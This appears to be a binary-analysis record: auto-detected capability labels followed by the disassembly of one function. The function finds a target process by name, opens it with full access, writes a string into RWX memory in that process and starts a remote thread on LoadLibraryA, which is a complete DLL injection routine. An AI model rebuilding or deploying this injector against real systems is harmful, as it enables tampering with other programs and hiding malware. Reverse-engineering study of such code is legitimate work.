Function at 0x401070
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate processes
Execute shellcode via indirect call
Get process image filename
Inject thread
Set console window title
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41de2b
mov eax, dword fs:[0]
push eax
sub esp, 0x394
mov eax, dword [0x429004]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edx, 0x4266dc
lea ecx, [ebp - 0x384]
call fcn.00403220
mov dword [ebp - 4], 0
cmp dword [eax + 0x14], 0x10
jb 0x4010bd
mov eax, dword [eax]
push ecx
mov edx, eax
lea ecx, [ebp - 0x36c]
call fcn.00403350
add esp, 4
cmp dword [eax + 0x14], 0x10
jb 0x4010d6
mov eax, dword [eax]
push eax
lea eax, [ebp - 0x118]
push str._s.exe
push eax
call fcn.00401050
mov edx, dword [ebp - 0x358]
add esp, 0xc
cmp edx, 0x10
jb 0x401125
mov ecx, dword [ebp - 0x36c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40111b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4014a4
push edx
push ecx
call fcn.0040560c
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x370]
mov dword [ebp - 0x35c], 0
mov dword [ebp - 0x358], 0xf
mov byte [ebp - 0x36c], 0
cmp edx, 0x10
jb 0x401181
mov ecx, dword [ebp - 0x384]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x401177
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4014a4
push edx
push ecx
call fcn.0040560c
add esp, 8
xor edi, edi
push edi
push 2
mov dword [ebp - 0x34c], edi
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4011b1
push edi
push edi
push 0x1000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
jmp 0x401485
lea eax, [ebp - 0x348]
mov dword [ebp - 0x348], 0x128
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x401237
mov edi, dword [sym.imp.KERNEL32.dll_Process32Next]
nop dword [eax]
nop word [eax + eax]
lea ecx, [ebp - 0x324]
lea eax, [ebp - 0x118]
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x401210
test dl, dl
je 0x40120c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x401210
add eax, 2
add ecx, 2
test dl, dl
jne 0x4011f0
xor eax, eax
jmp 0x401215
sbb eax, eax
or eax, 1
test eax, eax
je 0x40122b
lea eax, [ebp - 0x348]
push eax
push esi
call edi
test eax, eax
jne 0x4011e0
xor edi, edi
jmp 0x401237
mov edi, dword [ebp - 0x340]
mov dword [ebp - 0x34c], edi
push esi
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_OpenProcess]
push edi
push 0
push 0x1000
call esi
mov dword [ebp - 0x354], eax
test edi, edi
je 0x401485
push 0x104
lea ecx, [ebp - 0x220]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_K32GetProcessImageFileNameA]
test eax, eax
je 0x40127c
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov edx, 0x4266dc
lea ecx, [ebp - 0x384]
call fcn.00403220
mov dword [ebp - 4], 1
cmp dword [eax + 0x14], 0x10
jb 0x40129b
mov eax, dword [eax]
push ecx
mov edx, eax
lea ecx, [ebp - 0x36c]
call fcn.00403350
add esp, 4
cmp dword [eax + 0x14], 0x10
jb 0x4012b4
mov eax, dword [eax]
push eax
lea eax, [ebp - 0x328]
push 0x4266f0
push eax
call fcn.00401050
mov edx, dword [ebp - 0x358]
add esp, 0xc
cmp edx, 0x10
jb 0x401303
mov ecx, dword [ebp - 0x36c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4012f9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4014a9
push edx
push ecx
call fcn.0040560c
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x370]
mov dword [ebp - 0x35c], 0
mov dword [ebp - 0x358], 0xf
mov byte [ebp - 0x36c], 0
cmp edx, 0x10
jb 0x40135f
mov ecx, dword [ebp - 0x384]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x401355
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4014a9
push edx
push ecx
call fcn.0040560c
add esp, 8
lea edx, [ebp - 0x328]
lea ecx, [ebp - 0x39c]
call fcn.00403220
mov ebx, eax
cmp dword [ebx + 0x14], 0x10
jb 0x40137a
mov ebx, dword [ebx]
mov ecx, ebx
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401380
push dword [ebp - 0x34c]
sub ecx, edx
push 0
push 0x1fffff
lea edi, [ecx + 1]
mov dword [ebp - 0x350], edi
call esi
mov esi, eax
cmp esi, 0xffffffff
je 0x401443
push str.LoadLibraryA
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x34c], eax
test eax, eax
je 0x401443
push 0x40
push 0x3000
push edi
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
je 0x401443
push 0
push dword [ebp - 0x350]
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x401443
push 0
push 0
push edi
push dword [ebp - 0x34c]
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov ebx, eax
test ebx, ebx
je 0x401443
push 0xffffffffffffffff
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x8000
push dword [ebp - 0x350]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
test eax, eax
je 0x401449
push esi
call ebx
jmp 0x401449
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x388]
cmp edx, 0x10
jb 0x40147f
mov ecx, dword [ebp - 0x39c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x401475
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4014ae
push edx
push ecx
call fcn.0040560c
add esp, 8
mov eax, dword [ebp - 0x354]
push eax
call ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004055fe
mov esp, ebp
pop ebp
ret
call fcn.0040ad56
call fcn.0040ad56
call fcn.0040ad56
int3